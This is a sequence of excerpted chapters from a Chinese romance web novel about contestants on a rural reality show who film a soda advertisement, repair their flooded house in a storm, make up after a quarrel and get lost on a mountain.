副导演掩饰性地低头咳嗽,才道:“当然他的这些事迹都是我后来的师弟们告诉我的,至于真实性我可不保证。” 张导不知何时已经拨通了江砚的电话,脸上带着莫名的得意,果然下一秒,开了免提的电话里传来男人淡漠的嗓音。 “是真的。” 副导演瞪大眼睛看向张导,想不到那他那么大把年纪了,还跟小伙子一样幼稚。 当然现在不是追究这个问题的时候,背后议论上司,还让他听到了。 为了饭碗考虑,他踱着小碎步迅速靠近手机,语气谄媚:“我真该死啊,江总拍广告的事怎么可能有假呢?获奖的事更是板上钉钉的事儿!” 张导另一只手捂住嘴,那叫笑得一个开心。 副导演弯着腰听回答,眼神已经“杀”了旁边的人好多回了。 好在男人压根没在乎,只是道:“没有下次。” 不管是和江砚打交道的,还是听闻他的,大多数的人都了解一点,就是他不喜自己成为别人口中讨论的对象。 副导演侥幸逃过一劫,感激得不行:“好的,绝对没有下次了。” 张导笑够了,简单对江砚说下情况,大概就是广告组组长心冠病复发手术住院了,第一期节目也剪辑出来了,赞助商的植入广告迫在眉睫,但是其迟迟没拍出来。 “副组长拍得不行,人一时半会儿又找不到,你看有什么中意的人选吗?” 张导也是个老油条,闭口不提刚才的事,就怕自己撞枪口上。 电话那头的人沉默下来,张导也不敢催,耐心地等着。 奇怪的是,传来了翻动纸张的声音。 张导:这是在找人?还是看文件? 他就是心里腹诽,但其实大气儿也不敢喘。 江邱站在一旁,见老板将他搜集的那些,关于他高一时发生的事件、图片、视频反反复复地看了好多遍,到现在也没停下的意思。 江砚摸着手下的这一沓厚厚的纸张,上面是他高一上学期间的“记忆”,可他像是在看一个陌生人,心里毫无波澜,甚至连点联想都没有。 “班上老师有……全班人数……同桌程韵清……甲同学说他……老师评价他……” 内容枯燥干瘪,江邱都佩服,老板竟然丝毫没落地全部浏览完。 江砚也不知道自己在期待什么,当看到班级大合照时,突然就泄气了。 ——他想要的并不是这些。 但是又是什么呢?他说不清楚。 向后仰头靠在办公椅上,内心似乎有群蚁在啃噬,这是想抽烟的征兆。 手指捏了捏鼻梁,江砚再抬眸时,恢复了往日的漫不经心。 “准备好脚本。”男人将桌上的纸张随意放到抽屉,对着电话那头的张导说。 他是个野心资本家,眼里只有利益,不会放任自己监制的综艺出现瑕疵。 张导听着这句,明白人家是来救场的,不是来收拾烂摊子的,后续再找不到人,可能就不好说了。 他赶紧应下:“好的,辛苦江总,我会尽快安排。” 等着电话从那头挂断,张导还未转身,就被副导演踢了一脚,于是两个有家室的大男人在灯光下没羞没躁地打来打去。 …… 吃完晚饭的几人没急着回寝室,而是商量明天的安排。 “早早起来将那块地剩余的土豆挖了,然后联系王师傅来拉,三人拿着钱去镇上购置东西,两人留下来制作土豆片吧。”程三好吃得饱,坐姿懒着,眼皮都不想动一下。 肖乐保跟节目组薅来了一包茶叶,放到壶里泡了,给每人都倒了杯。 闻言,也不矫情,直接说:“我怎么都行,不过对镇上满好奇的。” 韩小希思忖着开口:“土豆片我只见过父母晒过,具体怎么做我却是不记得的,所以我只能去镇上了。” 赵柯默然不语,程三好打了个哈欠,泪意朦胧地说:“许琪你呢?” 许琪也正在考虑这个问题,鼓了鼓脸,方才道:“坐车去还是走路?” “村里几乎都有一两个师傅,会在赶集的这天靠拉人去镇上赚点钱,到时候你们只要沿着小屋右边的路去到马路上等着,招手打车就行。” “那我想去镇上。” “行,”程三好自己反而愿意留下来晒土豆片,一点也不想出门,虽然赵柯不说,但她还是问道,“你呢?如果也想去就一起去吧。” 赵柯低头扣手指上的倒刺,只是说:“不想去。” 程三好再度打了个哈欠,看起来是真的困得不行,起身说:“那就先这样。” 说完,径直奔着屋里而去,攀上铁床的梯子,脚把拖鞋蹬掉,爬上床铺沿,几乎是靠缩,缩进了被子里,裹成一团,闭上眼睛没几分钟就睡着了。 剩下的几人也没有久待,该洗漱的洗漱,该睡觉的睡觉。 韩小希口渴,打算进厨房接水喝时,看到水槽边,赵柯正在洗碗。 昨天的碗也不知是谁洗的,但今早起来,厨房的确干干净净。 她喝了口水,走过去站在赵柯的旁边,撸起袖子和他一起洗。 “昨晚的脏碗是你洗的?” “不是。” 二人安静下来,赵柯没听到她问,于是主动说:“程三好洗的。” “原来如此,”韩小希莫名生出一种愧疚,不好意思的笑笑,“明天就我吧,大家换着顺序来。” “嗯。” …… 地平线上的曙光缓缓升起,山峰罅隙间将其分割成金色的射线。 “咕咕咕——” “哞——” 公鸡打鸣,农家后院的牛羊争相仰头叫。 晨间起了点雾,没一会儿就消散,草叶上沾着点晶莹剔透的露珠。 空气清透,程三好随便穿着件短袖开门,下面是一条宽松的黑底白花的薄料睡裤。 这会儿还有点寒凉,她抱着手搓了搓。 浓密的头发披散着,用手薅到耳后,露出来一张素白的小脸。 她的脸颊没用刘海修饰,所以这样简简单单的发型,让她的美人尖修饰得很是漂亮,耳蜗前自然留出来的微卷碎发,更是衬得脸小。 程三好只是洗个脸、刷了个牙,连头发都是随意地用梳子刮了两三下就出来,人瞧着不太精神。 其他人还没起来,她正要抬手做伸展运动,突然感受到什么,像是若有所感,顺着看过去。 侧旁的路上停着辆黑色豪车,至于是啥牌子,程三好不知道,也懒得追究,倒是对车前的男人留了个心眼。 江邱从文件里抬头,见老板视线看向小屋,随着瞥了眼,看到是个女生。 他面上不该色,心里微微诧异。 但老板好像也只是随意地一扫,几乎没有停留就收回来目光。 江邱专注在工作上,推了推眼镜,说:“这一次合作的品牌商有……” 男人站得直,丝毫没有高个子男生有点微微驼背的情况,西装外套不知何时已经脱下来,就搭在手弯上,一双腿被面料讲究的西装裤修饰得笔直。 小臂上的衬衫推到手肘,露出来紧致结实的肌肉,青色的血管从肘间刺出几条,一直延伸到手背。 手骨节分明,指甲修剪得短而整齐,微微用力的手指曲着,细长均匀,但是不纤弱,骨劲感十足。 他凝眸听着江邱的话,脑子里却突然闪过一截纤瘦白润的小臂,连腕间一颗褐色的小痣也看清了。 那颗痣 19. 我与你有话说 《身体不说谎》全本免费阅读 最终称下来总共有五千斤,还没算破烂或者小个不合格的。 王师傅数钱的时候,肖乐保等人一脸没见过世面的样子站在程三好背后,露出眼睛直直盯着。 “五千,”王师傅将那一沓毛爷爷往她面前递,“你再确定确定。” 程三好突然屈指蹭了一下鼻尖,伸手接过来又自己数了数。 她边数边小声地念出数字,肖乐保从中察觉出了一点小紧张,但是大哥的脸太平静了,于是挥去这个想法。 “四千九百……五千,”程三好握紧钱,对王师傅肯定道,“没得错。” 王师傅离开了,五人才围成一个圆圈。 肖乐保微微瞪大了些许眼睛,语气惊讶:“我真的,从未见过那么多现金。” 许琪使劲地点头,表示赞同:“好多钱啊。” 韩小希终于憋不住笑,牙花子都笑得露出来了。 “突然觉得我们好富有!” 肖乐保合掌:“好歹也是有五千巨款的暴发户了,哈哈哈哈。” 程三好将手中的钱递出去,佯装高冷:“给摸。” 肖乐保第一个伸手去蹭蹭欧气,笑骂:“不知道的,还以为是大哥的私房钱呢。” 其他人陆续伸手搭在钱上,赵柯站着不动,虽然高兴,但是也只是嘴角一扯,像个木头似的杵着。 肖乐保看到了,抓起他的手搭在自己上,说:“都蹭蹭,许愿接下来越来越顺利,赚大钱!” 韩小希应和:“钱来,钱四面八方来!” 几人搁在这傻乐,张导刚讨论完事情出来不明所以。 他只能扯过大喇叭,喊:“都过来!” 大家散开,回到小屋前,程三好将钱揣到牛仔马甲面前的兜里,不放心,还用手一直按着,怕这“泼天的富贵”跑出来。 张导正色说:“赞助商广告需要在今天内完成一个,我与江总讨论的结果是,从你们中抽出两人来拍,最好是有点舞蹈基础的,待会儿需要跳几个动作。” 这样的机会对于五人来说都是对事业十分有帮助的曝光,品牌商一看你与商业广告的适配度,说不定接下来还会有合作,请你当代言人。 周围安静下来,张导对这种情况再熟悉不过,不会有人放过这个机会,说不定都在暗暗较劲呢。 到也不是他太过偏见,主要在剧组的日子待多了,圈内的大多数明星都是这样。 然而他抬眼看去,却见几人都不太专心的样子,好像压根没听到他的话。 张导一哽,低头咳嗽几声,觉得自己脸火辣辣的,只好道:“可以商量商量嘛?” 话音刚落,肖乐保举手拒绝:“我四肢不协调,如果选我,给导演你拍个鬼畜视频倒是可以。” 他像上课认真回答问题的学生,张导却差点一口老血喷出来,说:“行了,你放下手,我知道!” 韩小希的确觉得拍了广告对自己大有裨益,然而她已经提前想好要上镇买的东西,就说:“我急着去镇上,没时间。”显然后者更重要。 赵柯参加这档综艺是为了拿钱生存,不想再与其他扯上关系,于是说:“人丑。” 许琪其实不喜欢上镜,至于综艺也是许母给接的,当下顺从自己的想法:“拍广告需要演技,我没有。” 程三好则直言:“怕钱给跳出来。” 张导:“……”你要不要听听你的鬼话。 都当拍广告是洪水猛兽是吧,张导怒气冲冲地拽过几人的简历,突然想到身旁还有人,于是将满脸愤然压下去,平缓着语气说:“江总,你看?” 男人可能不耐烦了,压低着眸子瞥他一眼。 张导缩了缩头,只好根据自己的想法来,说:“考虑到你们目前的计划,去镇上不宜迟,晒土豆片却可以推后,所以就赵柯和程三好吧。” 语毕,肖乐保他们起身去到马路边打车去镇上,程三好二人跟着导演去到绿棚拍摄,后期需要抠图。 然而张导站在机子前和江砚低头说了几句就离开了,副组长开口说:“这次拍摄的主题是关于一个叫东谷品牌的汽水,待会儿你们跟舞蹈老师学几个动作,很简单。” 程三好和赵柯点了点头,看见左边角落的老师对着他们招手就走了过去。 余光里二人已经和老师认真跳起来了,江砚解开衬衫领处的一个纽扣,拽了拽领带,将其塞进马甲里。 “一只手背着,另一只手和伙伴错开身体拍掌……”舞蹈老师很温柔,语气尽是耐心。 “微蹲,下身不动,上身摆动肩膀,表情可以酷一点……” 几乎没用多少时间,二人就能很好地记住动作了,舞蹈老师夸赞:“你们悟性真的很好,协调度也很棒,期待你们的表现哦。” 两人同声道谢后,服装组组长把他们带到休息室,提着成排衣服往身上挨个试。 江砚在摄像机的一端转了转镜头,换好服装的程三好率先走了出来。 整个人就是飒爽的风格,头上戴着黑色鸭舌帽,上身着一件修身短款白色字母背心,下身一条高腰棕绿色工装裤,露出来的细腰过分晃眼。 她仰头,只涂了口红的脸蛋竟然冲击感十足,已经“入戏”的眼神少了平日里的散漫,嘴角微勾,乖张得不像话。 赵柯平日里头发都遮住了眉毛,这会儿被化妆师将额前发全部梳上去打蜡固定,整体看上去就是个美少年。 摄影棚里突然出现了两个用脸“霸凌”的人,节目组工作人员都不知道将目光放在谁的身上了。 准确的说是三个,但大家是绝对不敢将视线放到江总身上的。 副组长见他们准备好,就带着他们到一张桌子前,跟他们说接下来的流程怎么走,台词在什么时候说。 说完让开,棚里响起音乐,程三好和赵柯舞了几个动作。 江砚索性拿着那种手持摄像头,靠近了人。 镜头里放大了女生的脸,她正好眼睛扫过来,不过瞬息就随着动作移开。 男人桃花眸里似乎闪过一点光,淡淡道:“停在这儿,场务拿 20. 祸不单行 《身体不说谎》全本免费阅读 江砚将帕子丢进垃圾桶,等到她走到自己身旁,才举步出了棚里。 程三好跟着他身后来到那个草坡上,天气晴转阴,心想这会儿土豆片是晒不成了。 两人并肩而站,眺望着远山,村庄错落在山坡,田野间成排的白色电线杆,电线上的鸟儿犹如一个个音符,声音此起彼伏,雀跃不止。 风吹动树林,脚下的长草摆动起来,刮蹭在裤腿上。 置身天地间,旷野中人声寂静。 程三好没催,放空视线发呆,脑子却少见地回忆起了以往。 “老师,她身体不舒服。” 男生的嗓音不低沉,虽然没有情绪,但是带着少年人独有的清亮。 他的身高那时就已经碾压般的存在了,尽管坐在后排,依旧显眼极了。 程三好趴在课桌上,迷迷糊糊中睁眼,就听到了这一句。 接下里还说了什么,她正要细想,旁边的男人开口了。 “你很会拍广告。” 良久,他已经冷静下来,恢复那副游刃有余的样子。 想来刚才不清醒,现在反应过来,才会说这么句不符合他性格的废话。 程三好将那隐约的期待消化在唇齿间,换作另一句插科打诨的话。 “演技了得而已。” 摄影棚的人偷偷摸摸地扒着门帘看这里,一个一个的脑袋叠着。 程三好瞥见了,坏心情一扫而空,恢复那副懒洋洋的样子,扭头明目张胆地看向江砚。 “你还有话要说吗?” 男人能感受到她正在看他,手指抖动一下,却不与人对视,眼眸往右下方看,说:“没有。” “好的。” 说完,程三好转身往绿棚里去。 围成一堆的人纷纷散开,她像是没看到这些人打量她的眼神,径直来到副组长身前,问:“拍成这样可以了吗?” “可以是可以了,但是——” “那就好,”程三好打断他,笑着对工作人员说,“大家辛苦了,赵柯,走吗?” 赵柯已经卸了妆,听到她喊,立马起身说:“当然。” 两人正要往外走,程三好突然想到什么:“对了,这个服装要——” 服装组组长瞧出她不太高兴,说:“你们就穿着吧。” “行,”女生对着她点了下头,温言说,“谢谢。” 人走后,众人面面相觑:江总这是怎么惹到人家了? 江砚站在草坡上转过身,目光跟着程三好进屋又出屋,她已经换下来那一身衣服,穿着运动套装,帽子没摘,遮住了她的神色。 “老板,”江邱不知何时已经到了他的身侧,还是将疑惑问出了口,“你与她认识?” 这个问题像是把江砚难住了,少顷也只能说:“不认识。” 江邱没再问,只是作为旁观者,有些事情他看得更为清楚,他不好插手老板的私事,于是只好道:“下午一点有个会议,地点在鹿城,现在启程,才能赶到。” 江砚将衬衫最上面的一个纽扣扣上,接过他递来的西装外套穿上,往车的方向走。 停车的路左边也是一块田,程三好和赵柯商量,今天先把部分土豆挖出来,空出的部分用来搭建菜园。 选择这里,主要还是因为地的一边就靠着他们的小屋一面墙壁,很近,到时候摘菜吃也方便。 她戴着白色手套,手中握着把镰刀与江砚错身而过,这一次谁也没看谁,像是两条永不相交的平行线,渐行渐远,拉开世界的参差。 “没事吧?”赵柯在后头挖土豆,看看前面的背影,想了想还是问道。 程三好手脚利落地将草割了,头也没回地说:“没事。” 四周安静下来,闪电突兀地在远方青山上头闪亮一瞬,随即闷雷炸响在天空,大片的乌云向他们靠拢。 “嘀嗒——” 雨滴砸在干燥的大坝上,犹如点在白纸上的黑墨,迅速晕染开来。 “哗啦啦——” 这雨来得凶猛,程三好和赵柯只能赶紧回到房间,但是身上衣服还是被淋湿。 二人站在堂屋里,抬头看着外面的雨,滴在瓦房上的声音与落在地面的完全不同,清凌凌的,有回声。 程三好索性拖过一条凳子坐下,撑着下巴静静地没说话。 赵柯坐在她的身旁,他不是话多的人,尤其这几年开口说话的次数少之又少,但当下,他竟然主动找话题。 “他们采购东西应该顺利的吧?” “不知道。”女生的嗓音听上去困困的。 赵柯余光看着她,觉得此刻的她才是真实的她,浑身充满了惰性,某一瞬间,他找到了一点共性。 ——一起下坠吧。 内心的恶魔在这样叫嚣着。 赵柯倏地站起身,面上表情不太好看,简直是目前为止最生动的神情了,但程三好没看见,她觉得有点累,精神的疲惫原来也会反应到躯体上。 可她的脑内却有一匹脱缰的马在跑,根本停不下滚动的思路。 一会儿是淮市一中的寝室门口,一会儿是男生顶着张混不在乎的脸踹桌子,一会儿是想肖乐保他们现在如何了…… 程三好从小脑子里就总是冒出奇奇怪怪的东西,联想更是控制不住,但是她思考很慢,需要慢慢捋才能消化老师讲解的知识,这也让她想要获得优异的成绩多了几分不为人知的艰苦。 旁人见她说话腔调、神情等各种行为好像都透着一股懒劲,实际上,她是大脑劳累那么多年后找到的一个较为舒服的方法,久而久之就习惯了。 …… 镇上的三人被猝不及防的大雨给淋个透心凉,好在有钱,可以买雨伞。 东西都买的差不多后,就找到司机师傅,坐他的车往小屋赶。 车停在村口,肖乐保刚下车,就哆嗦着身子嚎:“大哥!我们回来了!” 程三好还未起身,那人就飞奔至了门口,递给她一些蔬菜、厨具。 “你不要出来,雨太大!把东西放到厨房,后面还有,我去拿就行!” 雨声很大,但肖乐保的声音丝毫没有被压下去,虽然被雨势削减了几分。 他的手上都是雨,只穿着件黑色短袖,嘴唇被冻得发紫,说完就又跑去了村口。 程三好把蔬菜放到堂屋中的一张折叠桌上,穿上那套雨衣,像是没听到他的话, 21. 矛盾 《身体不说谎》全本免费阅读 “我和赵柯翻瓦,你们三人将水铲出去,土豆就不拖拽出来,出来也没有地方放,待雨停后,就将其全部低价卖出去。” 肖乐保虽然当她是大哥,但是有些时候也当她是女生,所以说:“我去翻瓦吧。” 程三好已经穿好了雨衣,低头拉拉链,闻言道:“我是必须要去的,你们不会搭。” “那赵柯留下,我去。”肖乐保觉得他瘦弱极了,不便于在屋顶一直淋雨。 赵柯耳朵已经不红了,正要说话,韩小希就震惊地打断他。 “天哪,寝室里也出水了!”她本是随意地一扫,发现房间地面已经溢满了水。 程三好皱着眉,快步走到女寝里,看见她们的床下面墙壁被雨水浸透,正在源源不断地出水,堆放在地上的鞋子衣服几乎都遭殃。 节目组真是有心良苦,果然不会让他们一直顺利下去。 好在卧室里的水量小,用水泥应该可以糊住。 “肖乐保。” “哎,大哥,有何吩咐?” 他就站在门边,扒着门框探进头问。 程三好往外走,说:“你会开三轮车吗?” “不会。”肖乐保摇了摇头,“如果是兰博基尼的话,就是漂移也没问题。” 在这样状况百出的情景下,还能开玩笑的就只有他了。 程三好拍了拍他的肩膀,一脸真诚地给予肯定:“我现在给小三轮车重新命名为兰博基尼,相信你一定能成功回来。” 肖乐保“啊”了声,问:“去哪儿?” “借水泥应该是没有,所以只能你和赵柯去镇上买了。” 肖乐保不皮了,愁眉苦脸:“可我真的不会开那玩意儿。” “我会。”一直没说话的赵柯说道。 “行,所以计划改变,我照常去房屋上搭瓦,韩小希你们铲水,而你们二人去村里借辆三轮车去镇上吧。” 程三好说完,那浑身的散漫劲儿收了个干净,看着他们,眉毛下的眼睛很亮。 大家火速穿戴好雨衣,脚上也踩着双雨靴。 肖乐保和赵柯往村里走,见一家敲一家的门,都开口问:“有三轮车吗?能借我们吗?” 前面几家都有,但是听到他们要借,因为是陌生人,所以拒绝了。 而好不容易遇到一家可以借的,说是要租金,按时长收费。 这其实也没错,借给陌生人,得有个保障。 “一小时五十,押金一百,损坏三倍偿还。”对方是个五大三粗的男人,从容地要价交易。 肖乐保和赵柯商量后,决定成交,现在真的没时间讲究这些。 三轮车开出来,才发现,其实这个汉子真的不是吝啬,因为车看上去很崭新,车头完全是封闭的,人坐进去风吹日晒也不怕。 可能车主都没开多久,心里还舍不得。 赵柯打开门坐进去,肖乐保紧随其后。 起初他的操作还会有点生涩,差点给撞围墙上了,倒个车都要好半天,慢慢掌握着技巧,一路朝着公路上驾驶而去。 “我靠——”肖乐保感受着速度,看了眼旁边人淡定,惊愕道,“看不出来啊,你的车技贼溜。” 赵柯满脸平静地开玩笑:“兰博基尼我不会。” “哈哈哈,”肖乐保捶自己的大腿,笑得前仰后合,“怎会?这可是我大哥认证的红色兰博基尼,换言之,你不仅会,还贼强哈哈。” 赵柯也笑,只是笑了几下,心里突然空得厉害,嘴角平缓下来。 肖乐保没注意,一心都扑在外面的风景上。 “小心点儿,三好。” 那头的韩小希扶着梯子,看着往上爬的人心里胆战极了,主要是这木梯看上去年代久远,不怎么牢固的样子,而且她还恐高,觉得站上瓦房顶的程三好危险系数飙升。 “我没事。”程三好回了句,表示自己尚还在人间。 人影一翻,她去到屋脊上。 韩小希松开手,雨势小了很多,她提着铁桶和铁铲进了瓦房内。 许琪已经在铲水了,水已经蔓延至她的小腿弯,力气本来就小,这会儿还要提着满满当当的铁桶往水里趟过去,干了几回,心里烦躁得不行,累得还想哭。 韩小希站在门边,铁桶一倾斜,就可以装满水,随即扬手往外倒。 听到身后传来的乒乓声,她扭头,见许琪气得不行,闹脾气似的将铁桶费力地朝墙上砸。 反弹回来后,抹了把眼泪,咬着牙又要砸回去。 “许琪,”韩小希阻止了她的行为,温言道,“到门边来,这里要好处理些。” 许琪的胸膛剧烈起伏,断断续续地喘气。 这一次没管飘在水面上的铁桶,抿紧唇往外大步走。水被她的这个动作带动,水花四起,溅到她的身上也不顾及。 走到门边,身体前面已经全湿了,雨靴里装满了水,每一步都十分沉重以及不适。 韩小希对着迎面而来的人说:“不急,我们一起——” 对方看都没看她一眼,径直抬起脚跨出门槛离开了。 韩小希追出去,朝人的背影喊:“你要去哪里?” 房顶上的程三好听到动静,探出颗脑袋朝下看。 许琪没回答她,甩着手走了几步,靴子里全是踩水声,她更加烦躁了。 停下来,光脚站在路上,将靴子里的水全倒了,才重新穿上,使劲儿地一擦眼睛,倔强着继续朝公路上走。 韩小希顿时慌了,出了房间,就要抬腿追上去。 “不用追。”张导穿着全套雨衣,对她说道,“我们节目组工作人员跟着,不会有事。” 房顶上的那颗脑袋缩回去,韩小希欲言又止,最终听导演的话,转过身返回到屋里继续除水。 每个人都在为“抢救”小屋而努力,肖乐保他们买到了水泥,已经在来的路上了;程三好将漏雨的瓦片重新排列过;韩小希独自一人将偌大房间里的水往外运输。 时间一分一秒地过去,许琪始终没有回来。 公路上的车流声络绎不绝,雨衣已经完全没用了,手脚泡在冰冷的雨水里,刺骨的寒意遍布全身。 许琪垂头始终看着地面,离路边的保护栏靠得近,到底没敢用自己的生命开玩笑。 “哗啦——”车子碾压过水洼,无情地将水全轧她身上。 已经数不清楚是第几次了。 她从 22. 归好 《身体不说谎》全本免费阅读 韩小希被眼前突然欺压而近的人吓到,只见肖乐保一击掌,就着姿势向前低下头,闭着眼睛一脸懊悔。 “姐姐,我肖乐保是个嘴碎没有脑子的人,但是心眼可以说是接近于无。”他边说边求饶似的摆手,“没有问清楚状况就妄下定论,叫你生了隔阂,我诚挚地向你道歉。” 肖乐保抬起头,双眼真诚:“你已经是我的朋友了,我道歉,因为我还想继续这段关系。” 在人际交往中,人们往往对于这种明目张胆的话感到羞耻,关系是在试探中一点点增进,顺势而成了朋友。 像肖乐保这样的直球,要么是社牛要么可能是个玩弄人心的渣滓。 韩小希倾向于他是前者,因为都是朋友,所以误会矛盾要摆出来及时解决了。 不过被他用那样的语气说,任谁都会生气委屈吧。 她是担心许琪的,还想追出去,不过被导演叫停了而已,况且瓦房里的水不能不管,一个人铲了那么多水,也累得想当即躺下。 但是现在肖乐保的再三“让步”,让韩小希的情绪犹如被一把毛茸茸的刷子一点一点地抚平了。 人之间有摩擦是常有的事,不代表我们的关系就不好了,不代表我就不把你当朋友了。 韩小希轻吐了一口气,其实自己也在暗暗庆幸他把话说明白了,因为她也没想和他们疏离。 ——能来参加这个综艺真是太好了。 她不由这样想。 每个人都坦诚,有话直说,不明争暗斗,这样的坏境她感到很放松。 “好,”韩小希由衷地说,“我接受你的道歉了,这件事翻篇儿。” 肖乐保捂了捂胸口,一脸如释重负:“太好了。” 他说完,没急着提某件事。 韩小希主动说:“那我们一起去找许琪吧。” 雨不知何时已经停了,乌云正在散去,金色的一缕缕光束于万丈深空放射而下。 位于山顶的太阳亮色刺眼,温度却适宜,烘得整个人暖和。 四人衣服也没有换,迎面走上了公路。 路上水洼倒映着苍穹,南风吹过,涟漪微晃,像是虚无的梦。 许琪起初蹲着,后来索性一屁股坐在潮湿的路沿上。 她的面前是一览无余的广袤土地,庄稼生长得旺盛。 眺目而去,满眼绿色。 清新的空气不断地涌入胸腔,后背源源不断地传来阳光送来的暖意。 所有的愤怒、烦躁好像都消失了,平静没多久,一股难言的愧对、羞惭爬上了心间。 她是怎么敢说是来证明自己的? 回去后该怎么面对他们? 她捂住脸,反复地练习待会儿见到人要说的话。 “对不起大家,我实在太不成熟了,不不,不能这样说,这不是把烂摊子丢给别人的理由。” “我会多干活儿,不不。” “姐姐,对不起——” “嗯。” 她未说完,听到身后的人应了声。 许琪满脸慌乱地转过身,就见以韩小希为首的四人站在她的身后,隔着围栏的距离。 “我听到了。”韩小希的眼睛很红,像是哭过。 许琪瞧着,嘴一瘪,眼眶顿时酸涩起来。 她站起身,衣服像团酸菜,皱巴巴地贴着人。 “对——呜——”设想千万遍的练习毫无用处,几乎是一张嘴,巨大的悲伤宛若汹涌的浪花打来,打得她整个人失语窒息。 曲起手臂挡住自己,将眼泪胡乱擦在上面。 然而雨衣的布料不吸水,她擦得眼睛周围皮肤都红了起来,泪水还是一滴一滴地砸在地面上。 韩小希见状,抬腿跨过蓝色围栏,来到她的身旁站着,背对着公路。 肖乐保也不知怎么想的,紧随其后,也跨过那道栏杆,站在了许琪的另一边,面朝土地。 自己这样做了还不够,扭头对着程三好和赵柯用口型表示:都过来。 赵柯瞥了一眼身侧的人,见她没动。 他轻微皱了下眉,难得犹豫。 肖乐保顿时脸上表情丰富,佯装生气:我们是好兄弟,你过来,大哥肯定会来的。 说实话,对于许琪的行为,赵柯这种经历艰苦得多的人是不能共情的,甚至说有些轻蔑。 ——他恨死资本了。 可以只手遮天的财富,随意就可以将他们这种蝼蚁踩在脚下。 想到这,已经微离地的脚放下,移开视线。 余光里的肖乐保该是尴尬的,但是当他麻木的情绪占据头脑,赵柯的无情是那种不仅扎别人也刺向自己的冰锥。 前面几人都没说话,只有许琪小声的啜泣。 肖乐保可能没再暗示了,或者是说了什么,总之他已经转过了身,赵柯混沌的神志中意识到,旁边的人动都没动一下。 于是许琪哭完了抬头,就看见对面只有两人。 不过他们都没看她是了。 这时韩小希突然说道:“我们还剩多少钱?” “两千。”程三好对钱这个字眼表示很敏感,所以小屋的财务她在管。 “要不要先养头猪?”韩小希动作没变,瞳孔里尽是青山。 肖乐保思考:“可我们没猪圈啊?” 韩小希转身,准备翻出围栏,语气就像平时里一样正常讨论。 “回去搭”,她站在公路边,眼睛看着许琪,“要一起吗?” 肖乐保是靠跳出去的,也向她提出自己的想法:“我不觉得放弃丢人,到目前为止,我已经对你很是刮目相看了,所以遵从自己的内心吧。” 许琪能识别得出来,他们两人看自己的目光里没有戏谑,而是真的在询问她的意见。 她不止一次想要离开这个节目,但是如果真要离开了,却生出了一种不舍。 “一起,”许琪坚定道,瞬而变得有点紧张,“只要你们不嫌我。” 众人往回走,东一句西一句地聊着。 肖乐保:“制造了综艺效果,张导指不定在偷着乐呢。” 韩小希:“今天我悟得了一个道理。” 肖乐保:“什么道理?” 韩小希:“这人啊,不管是工作还是日常,都要接受有冲突的存在,我总是逃避这种事情,其实已经埋下了潜在的隐患 23. 迷路 《身体不说谎》全本免费阅读 拍摄她的工作人员年龄在二十五上下,母胎单身至今,这一声甜甜的哥哥,差点让他扛不住。 “我不记得了。”不过他到也没隐瞒,诚实地说。 程三好脸靠近摄像头,透过这个动作,与对面的工作人员对视。 “那你有电话吗?”她的睫毛很长,轻轻眨一下,衬得整个人柔和起来,“他发高烧了,不能等。” 工作人员也觉得这件事不敢托大,于是伸手从衣兜里掏出电话递给她。 解锁密码后,程三好正要拨打张导的电话,然而一看信号,只有忽明忽暗的一小格。 “你的手机没在通信范围内。” 冰冷冷的电子音让在场的几人终于迟钝地意识到——这下真完球了。 另一个拍肖乐保的摄像机大哥急忙掏出自己的手机,打过去还是没信号。 程三好脑子里回忆了一遍上山的路,决定自己先去找找,看看能不能找到村民上山踏出来的路。 “你们俩陪着肖乐保待在此地,哪里也不要去。”她走之前叮嘱工作人员。 被叫哥哥的那人,急忙叫住她,眼神躲闪:“要不我和你一起去?” 这个男生的小心思全表现在脸上了,程三好就像个只管撩不管售后的渣女,不近人情地道:“不行。” 说完,折下一根树枝,拿上镰刀往深处走。 这个山坡离他们小屋有点距离,程三好决定一直往山顶走,看看能不能找到宽阔的视野。 树林里遮天蔽日,抬头只见高大的松树。 明明周围都是树木,而且放眼望去,都会被树丛遮住,可森林就是会让你产生一种旷离。 一种来自古老灵魂的呼唤。 可能是因为外面的世界飞速发展,只有这些地方尚且能让人穿越时光,感受到最伊始的生存方式。 以天为被,以地为铺。 林中有蜘蛛网,程三好用折下的树枝扫掉,才继续往上爬。 按理说他们是顺着路上来的,哪怕走远了些去砍木头,也不至于一下就迷路了。 归根原因还是不熟悉,而且也没有做记号。 时近午时,本就没吃多少东西的胃微微抽痛,像是在斥责她这个蠢笨的主人。 程三好拽着一根树干,往上攀上去。 这座山想来很是陡峭,垂度大,越是向上越是费力。 翻过这个坎,眼前一片平地,树木稀疏,光亮很盛,有很多被砍伐后剩下的树桩。 树桩上生长着杂草和野花,瞧着蛮好看。 但是程三好并没有因此展颜,因为她的期待落空了。 不论她从哪个方向看去,都被树木遮死了视线。 坐在树桩上短暂地休息了一下,她准备下山。 肖乐保断断续续地粗喘气,觉得身上肌肉要痛死了。 想要捶打酸痛的大腿,手都举不起来,像是有千斤重。 “咳咳咳,我大哥还没回来?”他捂着嘴咳嗽,抬头弱声问。 工作人员心里也焦急得不行,说:“还没,你怎样?” “不好,”肖乐保重新将头搭在曲着点膝盖上,莫名消极,“难道我一冲锋陷阵的勇士要殒命于此吗?苍生大道还等着我。” 工作人员:“……” 都什么时候了! 大脑混沌,迷糊迷糊的,肖乐保不想晕过去,嗓子痛都还要自娱自乐。 “希望张导从天而降,踩着七彩祥云来救我。”他闭着眼睛,自言自语,“就是以身相许,我也是愿意的。” 工作人员瞪大了眼,然而随着这人说话的声音越来越小,身体往侧旁倒去,才慌忙上前。 拍他的摄像机大哥扶住人,低头去看,人似乎已经烧得晕过去了。 而此时的程三好也脸色难看。 她一路都做了记号,所以想要找到肖乐保他们不难,但是遇到一头黄鼠狼,是她没预料到的。 它的嘴很尖,毛是褐黄色的,眼睛细细的。 伏低着身体,尾巴高高翘着,是攻击或者是戒备的状态。 程三好丢了树枝,握紧了镰刀手柄,眼底有厉色。 ——出去后烧个香吧。 这段时间过分倒霉了。 …… 在地里挖土豆的三人回到小屋准备吃午饭,路过菜园子位置时,发现并没有人。 韩小希转了一圈屋前屋后,都没看到人。 “不应该啊,”她与赵柯对视,“只是砍点湿柴,不至于耽搁这么久。” 赵柯也觉得奇怪,猜测说:“可能遇到麻烦了。” 那头的张导显然也意识到这个问题了,给工作人员打电话也打不通,见他们过来,就皱着眉问:“他们还没回来?” 韩小希神色担忧地摇了摇头。 “你们谁看到程三好他们是去了哪座山,通过哪一路?”张导今早家里有事,来得迟,所以拍摄的任务都是交给副导演的。 